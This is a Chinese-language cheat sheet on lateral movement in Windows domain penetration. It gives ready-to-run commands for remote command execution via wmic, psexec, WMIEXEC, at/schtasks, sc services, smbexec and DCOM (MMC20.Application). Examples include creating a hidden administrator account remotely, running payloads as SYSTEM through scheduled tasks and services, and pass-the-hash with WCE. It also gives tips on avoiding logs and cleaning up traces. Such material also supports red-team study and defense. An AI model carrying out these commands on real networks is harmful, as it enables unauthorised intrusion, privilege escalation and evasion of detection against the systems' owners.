域渗透远程执行命令的几种姿势
域渗透远程执行命令的几种姿势
0x00 vmic
WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。
常用命令
在远程系统上执行 bat 脚本
1
wmic /node:192.168.72.10 /user:administrator /password:L111111! process call create c:\test.bat
在远程系统上执行单条命令
1
wmic /node:192.168.72.10 /user:administrator /password:L111111 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
工具说明
- 需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
- 远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
- wmic 会以管理员权限在远程系统上执行命令
- 防火墙开启将无法连接
- 如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。
0x01 psexec
使用方法
psexec针对远程建立连接的认证方式有两种,一种先建立 ipc 连接,然后直接用 psexec \\192.168.72.10 cmd
命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
执行原理
- 通过ipc连接,释放psexesvc.exe到目标
- 通过服务管理SCManager远程创建psexecsvc服务,并启动服务
- 客户端连接执行命令,服务端启动相应的程序并执行回显数据
工具说明
注意:
- 目标主机第一次运行时,会出现弹框提示。
解决办法:先执行psexec /accepteula
即可避免。 - 运行完之后记得删除服务。这个在日志中会有记录,而且在少数情况下会出现服务删除不成功!!!
所以一般不用它。 - 需要远程系统开启 ADMIN$ 共享
- 建立 ipc 连接后可以不指定用户名和密码
0x02 WMIEXEC
WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。
WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。
半交互式shell模式
1 | cscript.exe //nologo wmiexec.vbs /shell IP username password |
单个命令执行的模式
1 | cscript.exe wmiexec.vbs /cmd IP username password "command" |
0x03 at&schtasks计划任务
net use + at
建立ipc连接
1 | net use \\目标IP\ipc$ password /user:username |
拷贝文件到远程系统
1 | copy 文件 \\目标IP\c$ |
查看远程主机当前时间
1 | net use \\目标IP |
添加计划任务在远程系统上执行命令
1 | at \\目标IP 时间 cmd.exe /c "ipconfig /all >c:ip.log" |
添加计划任务在远程系统上执行bat脚本
1 | at \\目标IP 时间 c:test.bat |
查看at任务列表
1 | at \\目标IP |
删除at计划任务,运行完成后一定要删除计划任务!
1 | at \\目标IP 1 /delete |
查看所有ipc连接
1 | net use |
删除指定ipc连接
1 | net use \\目标IP\ipc$ /del |
删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)
1 | net use * /del /y |
schtasks
常用命令
在远程系统建立计划任务(计划运行时会以 system 权限在远程系统上执行单条命令)
1 | schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c netstat -ano | findstr 3389 >> c:\programdata\error.log" /ru system /f |
在远程系统建立计划任务(计划运行时会以 system 权限在远程系统上执行 bat 脚本)
1 | schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr c:\programdata\test.bat /ru system /f |
在远程系统建立计划任务(计划运行时会以管理员权限在远程系统上执行单条命令),注:这条命令不支持 hash 注入后省去用户名密码执行
1 | schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c whoami /all >> c:\programdata\error.log" /ru workgroup\administrator" |
查看建立的计划任务是否正确
1 | schtasks /query /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" | findstr test |
运行建立的计划任务
1 | schtasks /run /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /i /tn "test" |
删除建立的计划任务
1 | schtasks /delete /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn "test" /f |
注意:
工具需要远程系统启动 Task Scheduler 服务,schtasks 不需要 RPC 服务的支持,在条件允许的情况下,尽量使用 schtasks,因为在某些条件下,at 执行完任务后,任务信息没有删除(需要手动删除),用at命令查不到任务信息,但是用 schtasks 却能看到任务信息,任务名是At加一个数字。
0x04 SC添加服务远程执行命令
常用命令
建立 ipc 连接后,上传等待运行的 bat 脚本到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行 bat 脚本)
1 | sc \\192.168.17.138 create test binpath= "cmd.exe /c start c:\programdata\test.bat" |
开启服务,运行其它命令可以直接修改 bat 脚本内容
1 | sc \\192.168.17.138 start test |
删除服务
1 | sc \\192.168.17.138 delete test |
0x05 smbexec
smbexec 是基于 psexec 修改的程序,加入了参数来指定默认共享,可以在目标为开启 admin$ 共享但开了其它共享时使用。
常用命令
建立 ipc 连接后,上传 execserver.exe 到远程系统上
1 | copy execserver.exe \\192.168.17.138\c$\windows |
在远程系统上执行单条命令(以管理员权限执行命令)
1 | test.exe 192.168.17.138 Administrator !@#123QWE "whoami /all" c$ |
在远程系统上执行单条命令
1 | test.exe 192.168.17.138 test !@#123QWE "whoami /all" c$ |
在远程系统上执行 bat 脚本(以管理员权限执行命令)
1 | test.exe 192.168.17.138 Administrator !@#123QWE c:\programdata\test.bat ipc$ |
删除远程系统上的 execserver.exe
1 | del \\192.168.17.138\c$\windows\execserver.exe |
0x06 利用DCOM在远程系统执行程序
DCOM使用介绍
获得DCOM的程序列表
powershell命令
1 | Get-CimInstance Win32_DCOMApplication |
注意:Get-CimInstance
只适用于Powershell 3.0及以上,Win7默认为2.0不支持,可使用以下替代命令:
1 | Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |
当然,直接使用wmic查询也可以,代码如下:
1 | wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication GET /all /FORMAT:list |
powershell对WMI的调用可使用wmic命令进行替换,详情可参考:
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/
对本机测试
管理员权限,powershell代码如下:
获得”MMC20.Application”支持的操作
1 | $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) |
查看ExecuteShellCommand对应的参数说明
1 | $com.Document.ActiveView.ExecuteShellCommand |
ExecuteShellCommand 对应的参数具体含义可参考以下链接:
https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx
通过ExecuteShellCommand执行程序
1 | $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) |
对远程系统测试
调用MMC20.Application
1 | $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.72.10")) |
win7查看后台程序列表
调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’
1 | $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2") |
注意:
以上两种方式适用于Win7-Win10